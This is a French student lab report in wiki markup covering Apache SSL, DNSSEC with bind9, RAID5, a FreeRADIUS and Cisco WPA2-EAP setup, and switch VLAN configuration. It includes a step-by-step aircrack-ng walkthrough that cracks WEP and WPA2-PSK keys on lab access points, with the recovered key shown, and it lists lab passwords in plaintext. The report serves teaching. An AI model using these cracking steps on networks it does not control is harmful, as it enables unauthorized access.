 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
